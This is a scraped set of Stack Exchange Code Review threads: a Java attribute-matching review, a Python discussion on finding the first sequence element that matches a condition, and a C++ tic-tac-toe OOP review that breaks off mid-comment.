[ { "body": "<p>First off, a bug (or probably just a copy/paste error): <code>countMatches</code> is comparing age instead of eye color.</p>\n<p>Then, any reason you are limited to Java 8? At the very least you should be using the LTS release 11, or better the current release 15.</p>\n<p>Also, you have some minor formatting issues that don't confirm with standard Java conventions. Mostly it's wrong spacing: there should be spaces before <code>{</code> and between keywords (e.g. <code>if</code>) and <code>(</code>, but no spaces between method names and <code>(</code>.</p>\n<h1>Lombok</h1>\n<p>The annotations on the data classes could be most likely simplified to <code>@Data @AllArgsConstructor</code>. And you should even consider using <code>@Value</code> instead for immutable objects when ever possible, which can help avoiding bugs.</p>\n<h1>Spring DI</h1>\n<p>Generally autowiring private properties has been discouraged. You should prefer constructor injection. With Lombok's <code>@RequiredArgsConstructor</code> it becomes quite easy:</p>\n<pre><code>@Service\nRequiredArgsConstructor\npublic class UserServiceImpl implements UserService{\n \n private final UserRepository userRepository;\n \n private final UserFilters userFilters;\n\n //....\n}\n</code></pre>\n<p>Since you are injecting <code>UserFilters</code> it shouldn't be <code>static</code> i.e. <code>@UtilityClass</code>.</p>\n<p>For a matter of fact I don't see why <code>UserFilters</code> is a separate class at all. Those methods don't look like they should be used outside of <code>UserService</code>, so they should belong as (private) methods in UserService.</p>\n<h1>Method <code>UserServiceImpl.getMostMatchingUserId</code></h1>\n<p>The name isn't quite right and doesn't give enough information in my opinion. It's not a &quot;getter&quot;, so it should be called <code>find...</code> and nt <code>get...</code>, the meaning &quot;Most matching&quot; needs to be defined in a comment and the word &quot;youngest&quot; needs to be added.</p>\n<p>Also it seems quite limiting to have the method return just the user ID.</p>\n<p>One problem in here is the use of <code>orElse</code> on the result of <code>min()</code>. <code>min()</code> only returns an empty <code>Optional</code>, if the stream is empty, so in that case <code>.get(0)</code> will throw an exception.</p>\n<p>A final though here, is that normally one would expect that the repository (or usually the database behind it) should filter the list of results. If the database would do the filtering, then this would scale better with more users.</p>\n<h1>Method <code>UserFilters.getMostMatchingUserList</code></h1>\n<p>Also not a &quot;getter&quot;. <code>filter...</code> would be the most appropriate prefix here.</p>\n<p>One could consider using a stream here, however in this specific case I don't think it would make the task much simpler/better to read. The only change I'd make here would be choose some better variable names: <code>newUserList</code> should be called <code>filteredUserList</code> and <code>matchesInitialCount</code> should be <code>currentMatchesCount</code>.</p>\n<h1>Method <code>UserFilters.countMatches</code></h1>\n<p>This implementation is fine. Personally I'd leave it like this, and just add/change more property checks when needed, unless the list of properties needs to changed quickly or easily, for example, via configuration. It that case you need to work with reflection to find the properties.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T10:33:46.013", "Id": "499870", "Score": "0", "body": "Thanks for your answer @RoToRa, it's been very useful. I'm limited to Java 8 cause this is an analogous code from a project already set in Java 8. My main question is: would it be possible to shorten method 'countMatches'? e.g. as you said, using Java Reflection? In the future, 'User' and 'UserRequest' may have 20, 30 or 50 attributes and it would make a very large and few optimized method. Would it be Java Reflections highly recommended in that case? or are there better options? Thanks." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T11:04:34.713", "Id": "499878", "Score": "1", "body": "Reflection would make it really slow. Especially with many properties and users. One alternative would be to return the users as maps instead of objects from the repository." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T14:07:36.073", "Id": "253458", "ParentId": "253426", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T16:19:43.513", "Id": "253426", "Score": "4", "Tags": [ "java", "performance" ], "Title": "find matches between attributes from two different Objects" }
253426
<p>I've been trying to figure out what's the best, most Pythonic way to get the first element of a sequence that matches a condition. Here are three options:</p> <ol> <li>I don't like that I've written <code>caller[0].f_locals.get(&quot;runner&quot;)</code> twice, but it feels most Pythonic otherwise. <pre class="lang-py prettyprint-override"><code>runner = next( caller[0].f_locals.get(&quot;runner&quot;) for caller in inspect.stack() if isinstance(caller[0].f_locals.get(&quot;runner&quot;), AbstractRunner) ) </code></pre> </li> <li>Is it weird to rely on an assignment during the loop? <pre class="lang-py prettyprint-override"><code>for caller in inspect.stack(): runner = caller[0].f_locals.get(&quot;runner&quot;) if isinstance(runner, AbstractRunner): break </code></pre> </li> <li>The second line is Pythonic and all, but the first line is only there to set up a generator where you no longer have to compute the expression (only apply the conditional in the second line). <pre class="lang-py prettyprint-override"><code>generator = (caller[0].f_locals.get(&quot;runner&quot;) for caller in inspect.stack()) runner = next(x for x in generator if isinstance(x, AbstractRunner)) </code></pre> </li> </ol> <p>There's no performance difference at all from my tests.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T12:58:26.920", "Id": "499968", "Score": "0", "body": "You don't have to do the assignment twice if you nest, `runner = next(runner for runner in (caller[0].f_locals.get(\"runner\") for caller in inspect.stack()) if isinstance(runner, AbstractRunner))`. This is basically a hybrid of your first and third options. I'd consider it fairly pythonic if written out in multiple lines in a readable way." } ]
[ { "body": "<p>This is a use case for the walrus operator <code>:=</code>, which was <a href=\"https://docs.python.org/3/whatsnew/3.8.html#assignment-expressions\" rel=\"nofollow noreferrer\">introduced in Python 3.8</a>. It allows you to write 1) without repeating yourself:</p>\n<pre><code>runner = next(\n r\n for caller in inspect.stack()\n if isinstance(r := caller[0].f_locals.get(&quot;runner&quot;), AbstractRunner)\n)\n</code></pre>\n<p>Whether or not you find this more readable or if this is too much nestedness in the <code>if</code> part is up to personal taste.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T02:27:13.727", "Id": "499801", "Score": "0", "body": "This is great! I unfortunately can't use this, as my code is for a library plugin that needs to support Python 3.6-3.8, but accepting as this answers my question as to how to most elegantly avoid duplication." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T17:18:50.883", "Id": "499830", "Score": "0", "body": "Actually there's a more specific reason not to do this than just thinking `:=` smells bad. The assignment of `r` is happening in the surrounding scope (so in the same scope as `runner`). In cases where you really want a walrus operator, this is probably the behavior you'd need, but in this situation you're cluttering the namespace, _conceivably_ introducing bugs. A minimal demonstration that works in 3.8.6: `[*[y for x in [1] if (y:=x) < 5], y]`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T18:26:06.920", "Id": "499909", "Score": "1", "body": "The walrus operator can be really useful. But in this case, it really has a weird flow. It doesn't feel Pythonic at all to use a variable before it is (apparently) defined." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T05:54:59.420", "Id": "499937", "Score": "1", "body": "@EricDuminil Isn't that because of the generator expression rather than because of the walrus?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T08:35:28.607", "Id": "499946", "Score": "1", "body": "@superbrain: It's the mix of both which I find not readable. `x for x in some_list if foo(x)` can be read almost as an English instance. It's hard to read the above code without \"by the way\" or \"I forgot to mention what `r` is\". OP's 3rd proposal is very readable and the closest to the Zen of Python. We can use the walrus operator here but I don't think we should. My $0.02." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T08:39:48.043", "Id": "499947", "Score": "1", "body": "@EricDuminil For what it's worth, I kind of agree. I always want to write the SyntaxError `[y := f(x) for x in foo if g(y)]` instead of the \"correct\" one `[y for x in foo if g(y := f(x))]`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T09:06:53.547", "Id": "499954", "Score": "0", "body": "@Graipher: Thanks for the comment. I still think that two lines with two comprehensions would be more readable. Walrus operator can be really useful for `while` or for regex matches but not in this case IMHO. I always want to write `[y for y in x for x in some_list]` instead of the correct `[y for x in some_list for y in x]`." } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T19:29:42.993", "Id": "253431", "ParentId": "253427", "Score": "18" } }, { "body": "<p>I have to be honest, I actually prefer option <code>3</code>, and it's what I've used previously. It gives a clear separation of steps: &quot;Produce the data, then filter it&quot;.</p>\n<p>For a simpler case, I might go with @Graipher's suggestion. I have nothing against <code>:=</code>; I use it regularly. That last line of his in particular though is getting a bit noisy, and takes some processing to see what's going on.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T00:39:24.450", "Id": "253439", "ParentId": "253427", "Score": "12" } }, { "body": "<p><strong>I would vote against the walrus operator here; it's a clear case of doing two things at once.</strong></p>\n<p>Your original (#1) is probably good. I like that you're directly assigning the final value to its variable without preamble. If the repetition is really bugging you (or if the <code>get</code> function is expensive), then you could just nest generators</p>\n<pre class=\"lang-py prettyprint-override\"><code>runner = next(\n r\n for r in (caller[0].f_locals.get(&quot;runner&quot;)\n for caller in inspect.stack())\n if isinstance(r, AbstractRunner)\n)\n</code></pre>\n<p>or abandon comprehension-syntax</p>\n<pre class=\"lang-py prettyprint-override\"><code>runner = next(filter(lambda r: isinstance(r, AbstractRunner),\n map(lambda c: c[0].f_locals.get(&quot;runner&quot;),\n inspect.stack())))\n</code></pre>\n<p>Some people don't like lambdas; they're one of python's weak points. Unfortunately we hit several other weak points if we try to get rid of them: <code>functools.partial</code> won't work on <code>isinstance</code> (it takes positional args only, and we want to lock the second arg), and there's no built-in composition operator which is what we'd need for the <code>map</code>.</p>\n<p>Really any of the repetitious comprehension, the nested comprehension, or the filter-&amp;-map, or some hybrid, would be fine.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T03:05:44.990", "Id": "253441", "ParentId": "253427", "Score": "6" } }, { "body": "<p>You could also avoid your duplication with the single-value list idiom:</p>\n<pre><code>runner = next(\n runner\n for caller in inspect.stack()\n for runner in [caller[0].f_locals.get(&quot;runner&quot;)]\n if isinstance(runner, AbstractRunner)\n)\n</code></pre>\n<p>Separates getting the runner from checking its type, works in older Python's as well, doesn't leak like the walrus does, and since 3.9, it's <a href=\"https://docs.python.org/3/whatsnew/3.9.html#optimizations\" rel=\"noreferrer\">&quot;as fast as a simple assignment&quot;</a>.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T12:02:27.187", "Id": "500047", "Score": "0", "body": "Interesting. It's easier to read than the `:=` answer, and it has a better flow. I personally still find it less readable than OP's 3rd version, though." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T03:21:39.907", "Id": "253442", "ParentId": "253427", "Score": "8" } } ]
{ "AcceptedAnswerId": "253431", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T17:02:37.470", "Id": "253427", "Score": "16", "Tags": [ "python", "comparative-review" ], "Title": "Get the first item in a sequence that matches a condition" }
253427
<p>Would someone be able to review my latest OOP design of my Tic Tac Toe / Noughts &amp; Crosses program? I’d like to know what I’ve done well and whether I could improve the OOP Design. Many thanks in advance.</p> <p>This is a follow-up to <a href="https://codereview.stackexchange.com/questions/253144/noughts-crosses-final-version/253166?noredirect=1#comment499768_253166">this</a> post.</p> <pre><code> #include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;ctime&gt; #include &lt;cstdlib&gt; #include &lt;map&gt; #include &lt;algorithm&gt; class Player { public: unsigned char m_symbol; const std::string m_type; int m_wins; int m_draws; virtual int nextMove() const = 0; Player(const unsigned char symbol, std::string&amp;&amp; type) :m_symbol{ symbol }, m_type{ type }, m_wins{ 0 }, m_draws{ 0 }{} }; class Human : public Player { public: Human(unsigned char symbol) :Player{ symbol, &quot;Human&quot; } {} virtual int nextMove() const override { int move; std::cout &lt;&lt; &quot;Enter a number on the board (e.g. 1): &quot;; std::cin &gt;&gt; move; return move; } }; class Robot : public Player { public: Robot(unsigned char symbol) :Player{ symbol, &quot;Robot&quot; } {} virtual int nextMove() const override { int randNum = 0; std::srand(std::time(0)); randNum = rand() % 9 + 1; return randNum; } }; class Game { Player* one; Player* two; Player* turn; Player* winner; std::map&lt;int, unsigned char&gt;board; bool isMoveValid(const int move) { return std::find_if(board.begin(), board.end(), [&amp;](auto pair) { return pair.first == move &amp;&amp; pair.second == '-'; }) != board.end(); } void performMove(const int move) { board.at(move) = turn-&gt;m_symbol; } void playerMove() { int move = 0; if (turn-&gt;m_type == &quot;Human&quot;) { do { move = turn-&gt;nextMove(); if (isMoveValid(move) == false) { std::cout &lt;&lt; &quot;Invalid move!\n&quot;; } } while (isMoveValid(move) == false); } else { std::vector&lt;int&gt;numbers = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; do { move = turn-&gt;nextMove(); if (isMoveValid(move) == false) { std::remove_if(numbers.begin(), numbers.end(), [&amp;](auto &amp;number) { return number == move; }); } } while (isMoveValid(move) == false); } performMove(move); } void switchPlayers() { turn = turn == one ? two : one; } bool win() { if (board.at(1) == turn-&gt;m_symbol &amp;&amp; board.at(2) == turn-&gt;m_symbol &amp;&amp; board.at(3) == turn-&gt;m_symbol) { winner = turn; return true; } else if (board.at(4) == turn-&gt;m_symbol &amp;&amp; board.at(5) == turn-&gt;m_symbol &amp;&amp; board.at(6) == turn-&gt;m_symbol) { winner = turn; return true; } else if (board.at(7) == turn-&gt;m_symbol &amp;&amp; board.at(8) == turn-&gt;m_symbol &amp;&amp; board.at(9) == turn-&gt;m_symbol) { winner = turn; return true; } else if (board.at(1) == turn-&gt;m_symbol &amp;&amp; board.at(4) == turn-&gt;m_symbol &amp;&amp; board.at(7) == turn-&gt;m_symbol) { winner = turn; return true; } else if (board.at(2) == turn-&gt;m_symbol &amp;&amp; board.at(5) == turn-&gt;m_symbol &amp;&amp; board.at(8) == turn-&gt;m_symbol) { winner = turn; return true; } else if (board.at(3) == turn-&gt;m_symbol &amp;&amp; board.at(6) == turn-&gt;m_symbol &amp;&amp; board.at(9) == turn-&gt;m_symbol) { winner = turn; return true; } else if (board.at(1) == turn-&gt;m_symbol &amp;&amp; board.at(5) == turn-&gt;m_symbol &amp;&amp; board.at(9) == turn-&gt;m_symbol) { winner = turn; return true; } else if (board.at(7) == turn-&gt;m_symbol &amp;&amp; board.at(5) == turn-&gt;m_symbol &amp;&amp; board.at(3) == turn-&gt;m_symbol) { winner = turn; return true; } else { return false; } } bool draw() { return std::all_of(board.begin(), board.end(), [&amp;](auto&amp; pair) {return pair.second != '-'; }); } void ResetBoard() { std::for_each(board.begin(), board.end(), [&amp;](auto&amp; pair) { pair.second = '-'; }); } public: Game(Player&amp; one, Player&amp; two) :one(&amp;one), two(&amp;two), turn(&amp;one),winner(nullptr) { board = { std::make_pair(1,'-'),std::make_pair(2,'-'),std::make_pair(3,'-'), std::make_pair(4,'-'),std::make_pair(5,'-'),std::make_pair(6,'-'), std::make_pair(7,'-'),std::make_pair(8,'-'),std::make_pair(9,'-') }; } void DisplayBoard() { for (auto const&amp; cell : board) { if (cell.first % 3 == 1) { std::cout &lt;&lt; &quot;\n\n&quot;; } if (cell.second != '-') { std::cout &lt;&lt; cell.second &lt;&lt; &quot; &quot;; } else { std::cout &lt;&lt; cell.first &lt;&lt; &quot; &quot;; } } std::cout &lt;&lt; &quot;\n\n&quot;; } Player* gameLoop() { for (;;) { DisplayBoard(); playerMove(); if (win()) { std::cout &lt;&lt; winner-&gt;m_symbol &lt;&lt; &quot; is the winner!\n&quot;; break; } else if (draw()) { winner = nullptr; break; } switchPlayers(); } DisplayBoard(); ResetBoard(); return winner; } }; int main() { Robot robot1('X'); Robot robot2('O'); Game game(robot1, robot2); //game.gameLoop(); std::vector&lt;Robot&gt;player = { robot1, robot2 }; int round = 3; int roundCount = 0; Player* winner = nullptr; do { int gameCount = 1; int totalGamesinRound = 3; std::cout &lt;&lt; &quot;START GAME!\n&quot;; system(&quot;pause&quot;); system(&quot;cls&quot;); std::cout &lt;&lt; &quot;\nROUND &quot; &lt;&lt; ++roundCount &lt;&lt; &quot;. . .\n&quot;; do { std::cout &lt;&lt; &quot;Game &quot; &lt;&lt; gameCount &lt;&lt; &quot; of round &quot; &lt;&lt; roundCount &lt;&lt; &quot;\n&quot;; winner = game.gameLoop(); if (winner != nullptr) { std::cout &lt;&lt; &quot;Winner of game &quot; &lt;&lt; gameCount &lt;&lt; &quot; is type: &quot; &lt;&lt; winner-&gt;m_type &lt;&lt; &quot;: &quot; &lt;&lt; winner-&gt;m_symbol &lt;&lt; &quot;\n&quot;; winner-&gt;m_wins++; } else { system(&quot;cls&quot;); std::cout &lt;&lt; &quot;Game &quot; &lt;&lt; gameCount &lt;&lt; &quot; is a draw!\n&quot;; } gameCount++; totalGamesinRound--; } while (totalGamesinRound != 0); /* std::cout &lt;&lt; &quot;Game 2: Human vs Robot\n&quot;; game.play(robot1, robot1);*/ std::cout &lt;&lt; &quot;Wins for &quot; &lt;&lt; robot1.m_type &lt;&lt; &quot;: Player : &quot; &lt;&lt; robot1.m_symbol &lt;&lt; &quot; - &quot; &lt;&lt; robot1.m_wins &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Wins for &quot; &lt;&lt; robot2.m_type &lt;&lt; &quot;: Player : &quot; &lt;&lt; robot2.m_symbol &lt;&lt; &quot; - &quot; &lt;&lt; robot2.m_wins &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Drawed: &quot; &lt;&lt; robot1.m_draws &lt;&lt; &quot;\n&quot;; auto playerWithMostWins = std::max_element(player.begin(), player.end(), [](const auto&amp; lhs, const auto&amp; rhs) { return lhs.m_wins &lt; rhs.m_wins; }); std::cout &lt;&lt; &quot;Winner of round &quot; &lt;&lt; roundCount &lt;&lt; &quot; is &quot; &lt;&lt; playerWithMostWins-&gt;m_symbol &lt;&lt; &quot;\n&quot;; round--; } while (round != 0); } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T17:33:44.510", "Id": "499770", "Score": "0", "body": "Please edit the question." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T17:38:05.060", "Id": "499771", "Score": "0", "body": "Apologises! I have fixed this now." } ]
[ { "body": "<h1>Overview</h1>\n<p>I enjoyed reading this, much more than the previous question. If I had to suddenly maintain this, I wouldn't have many complaints. In this review, I will comment less about the structure since I see no issues. I'll focus on the smaller things.</p>\n<hr />\n<h1>Newlines for legibility</h1>\n<pre class=\"lang-cpp prettyprint-override\"><code>#include &lt;ctime&gt;\n#include &lt;cstdlib&gt;\n#include &lt;map&gt;\n#include &lt;algorithm&gt;\nclass Player {\n// ...\n};\nclass Human : public Player{\n// ... \n};\nclass Robot : public Player {\n//... \n};\nclass Game {\n// ...\n};\n</code></pre>\n<p>Adding new lines between the classes and the include directives IMO improves a lot. Right now to me, it looks cramped for no reason. Simply hitting <kbd>enter</kbd> more can prevent this XD.</p>\n<hr />\n<h1>Input validation</h1>\n<pre class=\"lang-cpp prettyprint-override\"><code> int move;\n std::cout &lt;&lt; &quot;Enter a number on the board (e.g. 1): &quot;;\n std::cin &gt;&gt; move;\n return move;\n</code></pre>\n<p>There is a small problem here. If you want to make your program perfect, you will have to perform a kind of <em>validation</em>. With the line <code>std::cin &gt;&gt; move</code>, you say that the user is going to input an <strong>integer</strong>. If <code>std::cin</code> receives anything else, it <strong>fails</strong>. Your program needs to be there to catch that fail otherwise the result is strange.</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>Enter a number on the board (e.g. 1): Walter White\nEnter a number on the board (e.g. 1): Invalid move!\nEnter a number on the board (e.g. 1): Invalid move!\nEnter a number on the board (e.g. 1): Invalid move!\nEnter a number on the board (e.g. 1): Invalid move!\nEnter a number on the board (e.g. 1): Invalid move!\nEnter a number on the board (e.g. 1): Invalid move!\nEnter a number on the board (e.g. 1): Invalid move!\n// countless\n</code></pre>\n<p><sup>If you want to understand why this happens, <a href=\"https://www.learncpp.com/cpp-tutorial/5-10-stdcin-extraction-and-dealing-with-invalid-text-input/\" rel=\"nofollow noreferrer\">this</a> article will help.</sup></p>\n<p>The solution is to perform an input validation, and see if <code>std::cin</code> has failed.</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> virtual int nextMove() const override {\n int move;\n std::cout &lt;&lt; &quot;Enter a number on the board (e.g. 1): &quot;;\n std::cin &gt;&gt; move;\n if (std::cin.fail()) \n {\n std::cin.clear(); \n std::cin.ignore(std::numeric_limits&lt;std::streamsize&gt;::max(), '\\n'); \n move = -1;\n }\n return move;\n }\n</code></pre>\n<p>Notice I have also initialized <code>move</code> to <code>-1</code>. Now when I <code>return move;</code>, the other layer of input validation will catch the <code>-1</code> and show the user <code>Invalid move!</code> and call the function again.</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>Enter a number on the board (e.g. 1): Walter White\nInvalid move!\nEnter a number on the board (e.g. 1):\n</code></pre>\n<hr />\n<h1><code>playerWithMostWins</code> should be a member</h1>\n<pre class=\"lang-cpp prettyprint-override\"><code>auto playerWithMostWins = std::max_element(player.begin(), player.end(),\n [](const auto&amp; lhs, const auto&amp; rhs)\n {\n return lhs.m_wins &lt; rhs.m_wins;\n });\n</code></pre>\n<p>If instead this was a member function of <code>Game</code>, you just do</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>Player* playerWithMostWins = game.playerWithMostWins();\n</code></pre>\n<p>And the implementation doesn't have to be complicated</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>// inside your Game class\n\nPlayer* playerWithMostWins() {\n return one-&gt;m_wins &gt; two-&gt;m_wins ? one : two;\n}\n</code></pre>\n<p>You'll simplify the code greatly</p>\n<hr />\n<p>( i couldn't think of a title for this )</p>\n<p>I don't see of <code>std::vector</code> in your <code>main()</code>. The rounds don't have to be so complicated. You don't even need a <code>vector</code>. All you need is an extra member function as I said in my previous point. That way to find the winner you just have to call it.</p>\n<p>I also reformatted the <code>do-while</code> loops into <code>for</code> loops. Not necessary but I prefer it the new way</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> Robot robot1('X');\n Human robot2('O');\n\n Game game(robot1, robot2);\n //game.gameLoop();\n const int roundNB = 2;\n const int gamesNB = 2;\n\n // two rounds with two games each\n for(int i = 0;i &lt; roundNB;i++)\n {\n\n std::cout &lt;&lt; &quot;START GAME!\\n&quot;;\n system(&quot;pause&quot;);\n system(&quot;cls&quot;);\n std::cout &lt;&lt; &quot;\\nROUND &quot; &lt;&lt; i &lt;&lt; &quot;. . .\\n&quot;;\n for(int j = 0;j &lt; gamesNB;j++)\n {\n std::cout &lt;&lt; &quot;Game &quot; &lt;&lt; j &lt;&lt; &quot; of round &quot; &lt;&lt; i &lt;&lt; &quot;\\n&quot;;\n Player* winner = game.gameLoop();\n\n if (winner != nullptr)\n {\n std::cout &lt;&lt; &quot;Winner of game &quot; &lt;&lt; j &lt;&lt; &quot; is type: &quot; &lt;&lt; winner-&gt;m_type &lt;&lt; &quot;: &quot; &lt;&lt; winner-&gt;m_symbol &lt;&lt; &quot;\\n&quot;;\n winner-&gt;m_wins++;\n }\n else\n {\n system(&quot;cls&quot;);\n std::cout &lt;&lt; &quot;Game &quot; &lt;&lt; j &lt;&lt; &quot; is a draw!\\n&quot;;\n }\n } \n\n\n std::cout &lt;&lt; &quot;Wins for &quot; &lt;&lt; robot1.m_type &lt;&lt; &quot;: Player : &quot; &lt;&lt; robot1.m_symbol &lt;&lt; &quot; - &quot; &lt;&lt; robot1.m_wins &lt;&lt; &quot;\\n&quot;;\n std::cout &lt;&lt; &quot;Wins for &quot; &lt;&lt; robot2.m_type &lt;&lt; &quot;: Player : &quot; &lt;&lt; robot2.m_symbol &lt;&lt; &quot; - &quot; &lt;&lt; robot2.m_wins &lt;&lt; &quot;\\n&quot;;\n std::cout &lt;&lt; &quot;Drawed: &quot; &lt;&lt; robot1.m_draws &lt;&lt; &quot;\\n&quot;;\n\n auto mostWins = game.playerWithMostWins();\n std::cout &lt;&lt; &quot;Player with the most wins: &quot; &lt;&lt; mostWins-&gt;m_type &lt;&lt; '\\n';\n }\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T20:05:38.197", "Id": "499777", "Score": "1", "body": "Wow! A fantastic review as always Aryan! Thanks so much for spending your valuable time reviewing my program. This has honestly been an education for me! I may have questions! I will implement all suggestions and thank you your kind words regarding the “maintainability” of the program. Means a lot! I may or may not have questions when I go round to implement your suggestions! Thanks again!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-23T17:24:02.733", "Id": "500544", "Score": "0", "body": "I recommend against in-band error signalling like `-1` as a special return value indicating validation failure. Consider returning `bool` and accepting an `unsigned &` instead." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-24T12:35:46.310", "Id": "500627", "Score": "0", "body": "@Reinderien Why not? I don't actually see why that would be bad, because returning bool means now you need to add a lot more code (comparatively)" } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T19:34:54.287", "Id": "253432", "ParentId": "253428", "Score": "3" } }, { "body": "<p>Nice improvement, I see that you neglected some of the advice you were given in your previous post.</p>\n<h2>CODE REVIEW ON CLASS DESIGN</h2>\n<ol>\n<li><p><code>Game</code> class? Is it needed, highly controversial. A <code>Game</code> class expresses a general idea/concept. I would expect a Game class to be abstract. Can you make an object of a <code>Game</code>? What is a <code>Game</code>?. If the class was renamed <code>TicTacToe</code> or <code>CrossAndNaught</code>, that would be great, we know what that is, it is concrete enough to create an object. Note a Game class should be abstract because it represents a general idea, we can derived so many other games such as <code>BoardGame</code>, <code>RacingGame</code> and more, we can also derive <code>TicTacToe</code> from <code>BoardGame</code>.</p>\n</li>\n<li><p>A close look at <code>Game</code>, we see it is acting clever, most of its functionalities aren't really its, they should be part of a class called <code>Board</code>. A <code>Board</code> should be able to hold the players state, what is happening on the board, checks if a position is free and many more. I would represent a <code>Board</code> internal board representation as a 2D array, but it's up to individual's preference, it can be represented anyhow the designer feels like, though I have no idea why you used <code>std::map</code>.</p>\n</li>\n</ol>\n<p>3.<code>main</code> is just too cluttered to reason about, move those statements into functions, USE FUNCTIONS!!!, they make code really easy to browse through and they have little or no overhead in terms of memory or performance.</p>\n<ol start=\"4\">\n<li>Now to class <code>Player</code>, why do you pass a <code>type</code>. This breaks the idea of polymorphism, we already know it is a <code>Robot</code>, but you still hold <code>m_type</code> as a data member. Worst still, you perform a check whilst performing a move, though it is unlikely, what if you derive more classes from <code>Player</code>, code size would increase, this reflect a poor design. Make use the polymorphic behavior you created.</li>\n</ol>\n<h2>NITPICKS</h2>\n<ol>\n<li><p>You either chose to ignore platform independent clear function or forgot to implement it. <code>system('cls')</code> and <code>system('pause')</code> does not work on my <code>unix</code> platform.</p>\n</li>\n<li><p>I want to play against a <code>Robot</code>, but doing so requires me to mess with a lot of code, I might break something because <code>main</code> is so cluttered. Once again, make use of the polymorphic behavior you created.</p>\n</li>\n<li><p>Why make <code>m_type</code> a const and also make it public? I find it hard to reason about your choice, if you want to prevent modification, you have the <code>private</code> keyword.</p>\n</li>\n<li></li>\n</ol>\n<pre><code>Player(const unsigned char symbol, std::string&amp;&amp; type)\n</code></pre>\n<p>Lets look at this for a while, <code>Player</code> can be constructed from a <code>const unsigned char</code> and a <code>std::string rvalue reference</code>, the problem is this, the const is unnecessary, what this mean is, you take a fresh copy of symbol and make it const, a fresh copy does not affect the original symbol and making it const to avoid changes is not necessary. Make it a const reference instead, you avoid the copy and you prevent modification of the original object. Secondly, an rvalue reference reduces the ways in which <code>Player</code> can be constructed.</p>\n<p>Player can be constructed like this</p>\n<pre><code>Player('X', &quot;Human&quot;)\n</code></pre>\n<p>But not like this</p>\n<pre><code>std::string human = &quot;Human&quot;\nPlayer('X' human)\n</code></pre>\n<p>The behavior you need is a <code>const std::string&amp; type</code>.</p>\n<ol start=\"5\">\n<li><p>Declaration of <code>one</code> and <code>two</code> in <code>Game</code> constructor shadows data member <code>Game::one</code> and <code>Game::two</code>. This poses no problem because of the implicit <code>this</code> qualifier, but it results to confusion of which <code>one</code> we mean. Avoid using the same names for class data members and local variables.</p>\n</li>\n<li><p>Make use of <code>random</code> header, check this <a href=\"https://stackoverflow.com/questions/53040940/why-is-the-new-random-library-better-than-stdrand\">link</a> why <code>random</code> is preferable to <code>rand</code>. As a side note, the robot move is very slow because it might randomly select moves that are invalid multiple times. You can eliminate this by creating a <code>std::vector</code> of integers, at each move, shuffle the vector and select an element and eliminate it from the vector. This makes <code>isMoveValid</code> irrelevant.</p>\n</li>\n</ol>\n<p>[EDIT] If you have an std::vector of integers in <code>Player</code> for example</p>\n<pre><code>std::vector&lt;int&gt; validLoc {1,2,3,4,5,6,7,8,9}\n</code></pre>\n<p>You can make it a static data member which means all derived object can modify and have access to it.You can shuffle the <code>validLoc</code> and grab the first element in the vector and eliminate it from the vector for a <code>Robot</code>, one nice thing about this approach, it leads to less code and you can shuffle it just once and select the first element always and delete it from the vector improving the speed a little. For a <code>Human</code>, do not shuffle the vector, take an input from the user from 1 - 9 and delete the element from the vector. Note, at each point in time, only valid locations are in the <code>vector</code></p>\n<ol start=\"7\">\n<li><p>Placing a move at a location does not need <code>at()</code>. We are sure the move is within the range and the extra check is unnecessary.</p>\n</li>\n<li><p>You forgot the virtual destructor for <code>Player</code> and its subtypes</p>\n</li>\n</ol>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T20:45:10.063", "Id": "499780", "Score": "0", "body": "Thanks so much for spending your valuable time to review my TicTacToe program. You’ve mentioned very interesting points such as calling it “game” which is more of an idea as opposed to being something concrete. I really agree with you I should be utilising the polymorphic features. But the real problem I had was the fact the robot int nextMove() and the human int nextMove() have different implementations. With the Robot move I couldn’t check that they were making a valid move from the Robot class before returning the integer. Any solutions to this?" }, { 